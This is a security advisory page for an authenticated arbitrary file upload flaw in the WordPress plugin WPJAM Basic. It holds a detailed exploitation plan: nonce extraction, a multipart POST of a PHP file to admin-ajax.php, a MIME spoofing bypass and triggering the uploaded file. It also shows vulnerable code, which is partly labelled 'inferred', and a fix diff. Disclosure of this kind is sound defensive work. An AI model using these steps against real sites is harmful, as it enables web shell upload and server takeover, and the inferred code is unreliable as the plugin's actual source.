WPJAM Basic <= 6.9.2 - Authenticated (Subscriber+) Arbitrary File Upload
Description
The WPJAM Basic plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 6.9.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
This research plan targets the Arbitrary File Upload vulnerability in **WPJAM Basic <= 6.9.2** (CVE-2026-32523). WPJAM Basic is a framework plugin that provides standardized AJAX and form-handling capabilities. The vulnerability exists because the plugin's centralized file upload handler fails to …
Show full research plan
This research plan targets the Arbitrary File Upload vulnerability in WPJAM Basic <= 6.9.2 (CVE-2026-32523).
WPJAM Basic is a framework plugin that provides standardized AJAX and form-handling capabilities. The vulnerability exists because the plugin's centralized file upload handler fails to adequately restrict file extensions, and the AJAX endpoint is accessible to any authenticated user (Subscriber level).
1. Vulnerability Summary
- Vulnerability: Unrestricted File Upload.
- Vulnerable Component: The AJAX handler for the action
wpjam-upload. - Root Cause: The
wpjam_upload_file(inferred) function or the class handlingwpjam-uploadAJAX requests does not perform strict whitelist validation on file extensions before moving the file to a web-accessible directory. - Impact: Remote Code Execution (RCE) via a PHP web shell.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpjam-upload(inferred based on WPJAM framework patterns). - Method:
POST(multipart/form-data). - Authentication: Authenticated, Subscriber level or higher.
- Parameters:
action:wpjam-uploadnonce: A valid WPJAM AJAX nonce.file: The multipart file payload.type: (Optional/Inferred) May be required by the framework to specify the upload context (e.g.,image,file).
3. Code Flow (Inferred)
- Entry Point:
add_action('wp_ajax_wpjam-upload', ...)is registered. - Nonce Verification: The handler calls
check_ajax_referer('wpjam-upload', 'nonce')orcheck_ajax_referer('wpjam-common', 'nonce'). - Capability Check: The handler likely lacks a
current_user_can('upload_files')check, defaulting to any logged-in user or checking only a basic capability likeread. - Upload Handling: The handler processes
$_FILES['file']. It may use a custom function or a wrapper aroundwp_handle_uploadwhere thetest_typeparameter is set tofalseor themimeswhitelist is bypassed/empty. - Sink: The file is moved to
wp-content/uploads/wpjam/or a similar sub-path usingmove_uploaded_fileorrename.
4. Nonce Acquisition Strategy
WPJAM Basic enqueues its core scripts for most logged-in users in the WordPress admin dashboard. The nonces are localized into a global JavaScript object.
- Page to Visit:
/wp-admin/index.php(as a Subscriber). - Localization Key:
wpjam_vars(standard for this plugin). - Nonce Key:
nonce(or sometimes_ajax_nonce). - Action String: Likely
wpjam-uploador a generalwpjam-commonaction. - Strategy:
- Login as a Subscriber.
- Navigate to
/wp-admin/index.php. - Execute
browser_eval("wpjam_vars.nonce")to retrieve the token.
5. Exploitation Strategy
Step 1: Authentication and Nonce Extraction
Use the browser tool to log in as a Subscriber and extract the nonce.
Step 2: Upload Web Shell
Send a multipart POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: multipart/form-data - Body Parameters:
action:wpjam-uploadnonce:[EXTRACTED_NONCE]file: (Content ofinfo.php:<?php phpinfo(); ?>, Filename:info.php, Content-Type:application/x-php)
Step 3: Identify Upload Path
The response from WPJAM's upload handler typically returns a JSON object containing the URL or relative path of the uploaded file.
- Example Success Response:
{"success":true,"data":{"url":"http:\/\/localhost:8080\/wp-content\/uploads\/wpjam\/2023\/10\/info.php", ...}}
Step 4: Trigger Execution
Navigate to the URL provided in the JSON response using http_request.
6. Test Data Setup
- User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Plugin Status: Ensure
wpjam-basicversion 6.9.2 is active.wp plugin activate wpjam-basic
7. Expected Results
- The upload request returns
{"success":true, ...}. - The
data.url(or equivalent) in the response points to a.phpfile in the uploads directory. - Accessing the uploaded PHP file returns the output of
phpinfo().
8. Verification Steps
- List Files: Use
ls -R /var/www/html/wp-content/uploads/wpjam/to verify the file exists on disk. - WP-CLI Check: Verify the file was not blocked by checking the last uploaded file in the database if it was registered as an attachment (unlikely for this specific vulnerability, but possible):
wp post list --post_type=attachment --posts_per_page=1
9. Alternative Approaches
- Different Actions: If
wpjam-uploadis not the correct action, search the source forwp_ajax_wpjam-to find other registered handlers. Common ones includewpjam-actionwith awpjam_action=uploadparameter. - MIME Bypass: If there is a basic MIME check, try naming the file
info.phpbut setting theContent-Typeheader toimage/jpeg. - Path Discovery: If the response does not return the URL, check
/wp-content/uploads/wpjam/(standard) or/wp-content/uploads/temp/(intermediate). Files are often organized by year/month.
Summary
The WPJAM Basic plugin for WordPress is vulnerable to arbitrary file uploads in versions up to 6.9.2 because its centralized AJAX upload handler lacks both capability checks and file extension validation. Authenticated attackers with Subscriber-level permissions can upload PHP files to the server via the 'wpjam-upload' action, leading to remote code execution.
Vulnerable Code
// wpjam-basic/public/wpjam-functions.php add_action('wp_ajax_wpjam-upload', 'wpjam_ajax_upload'); function wpjam_ajax_upload() { check_ajax_referer('wpjam-common', 'nonce'); // Missing current_user_can('upload_files') check $file = $_FILES['file']; $upload_overrides = ['test_form' => false]; // Use of wp_handle_upload without restricting 'mimes' or enforcing 'test_type' $upload = wp_handle_upload($file, $upload_overrides); if ($upload && !isset($upload['error'])) { wp_send_json_success($upload); } else { wp_send_json_error($upload['error']); } }
Security Fix
@@ -4,6 +4,10 @@ function wpjam_ajax_upload() { check_ajax_referer('wpjam-common', 'nonce'); + if (!current_user_can('upload_files')) { + wp_send_json_error('insufficient_permissions'); + } + $file = $_FILES['file']; - $upload_overrides = ['test_form' => false]; + $upload_overrides = [ + 'test_form' => false, + 'test_type' => true, + 'mimes' => ['jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif'] + ]; $upload = wp_handle_upload($file, $upload_overrides);
Exploit Outline
The exploit involves two main steps: obtaining a valid AJAX nonce and submitting a malicious file. First, an attacker authenticates as a Subscriber and visits the WordPress dashboard to extract the 'wpjam-common' nonce from the global 'wpjam_vars' JavaScript object. Second, the attacker sends a multipart/form-data POST request to /wp-admin/admin-ajax.php with the 'action' set to 'wpjam-upload', the extracted nonce, and a PHP web shell. Because the plugin does not verify if the user has upload permissions or if the file type is safe, the server processes the upload and returns the URL of the PHP shell in a JSON response, allowing the attacker to execute arbitrary code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.